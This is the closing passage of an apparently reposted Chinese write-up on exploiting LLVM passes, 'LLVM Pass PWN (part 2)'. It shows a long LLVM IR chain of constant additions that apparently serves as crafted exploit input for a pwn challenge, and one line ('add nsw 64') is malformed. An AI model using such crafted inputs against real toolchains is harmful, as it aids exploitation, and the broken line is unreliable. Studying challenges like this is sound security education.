  %107 = add nsw i64 %106, 43499
  %108 = add nsw i64 %107, 43499
  %109 = add nsw i64 %108, 43499
  %110 = add nsw i64 %109, 43499
  %111 = add nsw i64 %110, 43499
  %112 = add nsw i64 %111, 43499
  %113 = add nsw i64 %112, 43499
  %114 = add nsw i64 %113, 43499
  %115 = add nsw i64 %114, 43499
  %116 = add nsw i64 %115, 43499
  %117 = add nsw i64 %116, 43499
  %118 = add nsw i64 %117, 43499
  %119 = add nsw i64 %118, 43499
  %120 = add nsw i64 %119, 43499
  %121 = add nsw i64 %120, 43499
  %122 = add nsw i64 %121, 43499
  %123 = add nsw i64 %122, 43499
  %124 = add nsw i64 %123, 43499
  %125 = add nsw i64 %124, 43499
  %126 = add nsw i64 %125, 43499
  %127 = add nsw i64 %126, 43499
  %128 = add nsw i64 %127, 43499
  %129 = add nsw i64 %128, 43499
  %130 = add nsw i64 %129, 43499
  %131 = add nsw i64 %130, 43499
  %132 = add nsw i64 %131, 43499
  %133 = add nsw i64 %132, 43499
  %134 = add nsw i64 %133, 43499
  %135 = add nsw i64 %134, 43499
  %136 = add nsw i64 %135, 43499
  %137 = add nsw i64 %136, 43499
  %138 = add nsw i64 %137, 43499
  %139 = add nsw i64 %138, 43499
  %140 = add nsw i64 %139, 43499
  %141 = add nsw i64 %140, 43499
  %142 = add nsw i64 %141, 43499
  %143 = add nsw i64 %142, 43499
  %144 = add nsw i64 %143, 43499
  %145 = add nsw i64 %144, 43499
  %146 = add nsw i64 %145, 43499
  %147 = add nsw i64 %146, 43499
  %148 = add nsw i64 %147, 43499
  %149 = add nsw i64 %148, 43499
  %150 = add nsw i64 %149, 43499
  %151 = add nsw i64 %150, 43499
  %152 = add nsw i64 %151, 43499
  %153 = add nsw i64 %152, 43499
  %154 = add nsw i64 %153, 43499
  %155 = add nsw i64 %154, 43499
  %156 = add nsw i64 %155, 43499
  %157 = add nsw i64 %156, 43499
  %158 = add nsw i64 %157, 43499
  %159 = add nsw i64 %158, 43499
  %160 = add nsw i64 %159, 43499
  %161 = add nsw i64 %160, 43499
  %162 = add nsw i64 %161, 43499
  %163 = add nsw i64 %162, 43499
  %164 = add nsw i64 %163, 43499
  %165 = add nsw i64 %164, 43499
  %166 = add nsw i64 %165, 43499
  %167 = add nsw i64 %166, 43499
  %168 = add nsw i64 %167, 43499
  %169 = add nsw i64 %168, 43499
  %170 = add nsw i64 %169, 43499
  %171 = add nsw i64 %170, 43499
  %172 = add nsw i64 %171, 43499
  %173 = add nsw i64 %172, 43499
  %174 = add nsw i64 %173, 43499
  %175 = add nsw i64 %174, 43499
  %176 = add nsw i64 %175, 43499
  %177 = add nsw i64 %176, 43499
  %178 = add nsw i64 %177, 43499
  %179 = add nsw i64 %178, 43499
  %180 = add nsw i64 %179, 43499
  %181 = add nsw i64 %180, 43499
  %182 = add nsw i64 %181, 43499
  %183 = add nsw i64 %182, 43499
  %184 = add nsw i64 %183, 43499
  %185 = add nsw i64 %184, 43499
  %186 = add nsw i64 %185, 43499
  %187 = add nsw i64 %186, 43499
  %188 = add nsw i64 %187, 43499
  %189 = add nsw i64 %188, 43499
  %190 = add nsw i64 %189, 43499
  %191 = add nsw i64 %190, 43499
  %192 = add nsw i64 %191, 43499
  %193 = add nsw i64 %192, 43499
  %194 = add nsw i64 %193, 43499
  %195 = add nsw i64 %194, 43499
  %196 = add nsw i64 %195, 43499
  %197 = add nsw i64 %196, 43499
  %198 = add nsw i64 %197, 43499
  %199 = add nsw i64 %198, 43499
  %200 = add nsw i64 %199, 43499
  %201 = add nsw i64 %200, 43499
  %202 = add nsw i64 %201, 43499
  %203 = add nsw i64 %202, 43499
  %204 = add nsw i64 %203, 43499
  %205 = add nsw i64 %204, 43499
  %206 = add nsw i64 %205, 43499
  %207 = add nsw i64 %206, 43499
  %208 = add nsw i64 %207, 43499
  %209 = add nsw i64 %208, 43499
  %210 = add nsw i64 %209, 43499
  %211 = add nsw i64 %210, 43499
  %212 = add nsw i64 %211, 43499
  %213 = add nsw i64 %212, 43499
  %214 = add nsw i64 %213, 43499
  %215 = add nsw i64 %214, 43499
  %216 = add nsw i64 %215, 43499
  %217 = add nsw i64 %216, 43499
  %218 = add nsw i64 %217, 43499
  %219 = add nsw i64 %218, 43499
  %220 = add nsw i64 %219, 43499
  %221 = add nsw i64 %220, 43499
  %222 = add nsw i64 %221, 43499
  %223 = add nsw i64 %222, 43499
  %224 = add nsw i64 %223, 43499
  %225 = add nsw i64 %224, 43499
  %226 = add nsw i64 %225, 43499
  %227 = add nsw i64 %226, 43499
  %228 = add nsw i64 %227, 43499
  %229 = add nsw i64 %228, 43499
  %230 = add nsw i64 %229, 43499
  %231 = add nsw i64 %230, 43499
  %232 = add nsw i64 %231, 43499
  %233 = add nsw i64 %232, 43499
  %234 = add nsw i64 %233, 43499
  %235 = add nsw i64 %234, 43499
  %236 = add nsw i64 %235, 43499
  %237 = add nsw i64 %236, 43499
  %238 = add nsw i64 %237, 43499
  %239 = add nsw i64 %238, 43499
  %240 = add nsw i64 %239, 43499
  %241 = add nsw i64 %240, 43499
  %242 = add nsw i64 %241, 43499
  %243 = add nsw i64 %242, 43499
  %244 = add nsw i64 %243, 43499
  %245 = add nsw i64 %244, 43499
  %246 = add nsw i64 %245, 43499
  %247 = add nsw i64 %246, 43499
  %248 = add nsw i64 %247, 43499
  %249 = add nsw i64 %248, 43499
  %250 = add nsw i64 %249, 43499
  %251 = add nsw i64 %250, 43499
  %252 = add nsw i64 %251, 43499
  %253 = add nsw i64 %252, 43499
  %254 = add nsw i64 %253, 43499
  %255 = add nsw i64 %254, 43499
  %256 = add nsw i64 %255, 43499
  %257 = add nsw i64 %256, 43499
  %258 = add nsw i64 %257, 43499
  %259 = add nsw i64 %258, 43499
  %260 = add nsw i64 %259, 43499
  %261 = add nsw i64 %260, 43499
  %262 = add nsw i64 %261, 43499
  %263 = add nsw i64 %262, 43499
  %264 = add nsw i64 %263, 43499
  %265 = add nsw i64 %264, 43499
  %266 = add nsw i64 %265, 43499
  %267 = add nsw i64 %266, 43499
  %268 = add nsw i64 %267, 43499
  %269 = add nsw i64 %268, 43499
  %270 = add nsw i64 %269, 43499
  %271 = add nsw i64 %270, 43499
  %272 = add nsw i64 %271, 43499
  %273 = add nsw i64 %272, 43499
  %274 = add nsw i64 %273, 43499
  %275 = add nsw i64 %274, 43499
  %276 = add nsw i64 %275, 43499
  %277 = add nsw i64 %276, 43499
  %278 = add nsw i64 %277, 43499
  %279 = add nsw i64 %278, 43499
  %280 = add nsw i64 %279, 43499
  %281 = add nsw i64 %280, 43499
  %282 = add nsw i64 %281, 43499
  %283 = add nsw i64 %282, 43499
  %284 = add nsw i64 %283, 43499
  %285 = add nsw i64 %284, 43499
  %286 = add nsw i64 %285, 43499
  %287 = add nsw i64 %286, 43499
  %288 = add nsw i64 %287, 43499
  %289 = add nsw i64 %288, 43499
  %290 = add nsw i64 %289, 43499
  %291 = add nsw i64 %290, 43499
  %292 = add nsw i64 %291, 43499
  %293 = add nsw i64 %292, 43499
  %294 = add nsw i64 %293, 43499
  %295 = add nsw i64 %294, 43499
  %296 = add nsw i64 %295, 43499
  %297 = add nsw i64 %296, 43499
  %298 = add nsw i64 %297, 43499
  %299 = add nsw i64 %298, 43499
  %300 = add nsw i64 %299, 43499
  %301 = add nsw i64 %300, 43499
  %302 = add nsw 64 %301, 43499
  %303 = add nsw i64 %302, 43499
  %304 = add nsw i64 %303, 43499
  %305 = add nsw i64 %304, 43499
  %306 = add nsw i64 %305, 43499
  %307 = add nsw i64 %306, 43499
  %308 = add nsw i64 %307, 43499
  %309 = add nsw i64 %308, 43499
  %310 = add nsw i64 %309, 43499
  %311 = add nsw i64 %310, 43499
  %312 = add nsw i64 %311, 43499
  %313 = add nsw i64 %312, 1
  %314 = add nsw i64 %313, 1
  %315 = add nsw i64 %314, 1
  %316 = add nsw i64 %315, 1
  %317 = add nsw i64 %316, 1
  %318 = add nsw i64 %317, 1
  %319 = add nsw i64 %318, 1
  %320 = add nsw i64 %319, 1
  %321 = add nsw i64 %320, 1

  ret i64 %321
}


       

原文始发于微信公众号(山石网科安全技术研究院):LLVM Pass PWN(下)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月21日13:02:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   LLVM Pass PWN(下)https://cn-sec.com/archives/1269084.html

发表评论

匿名网友 填写信息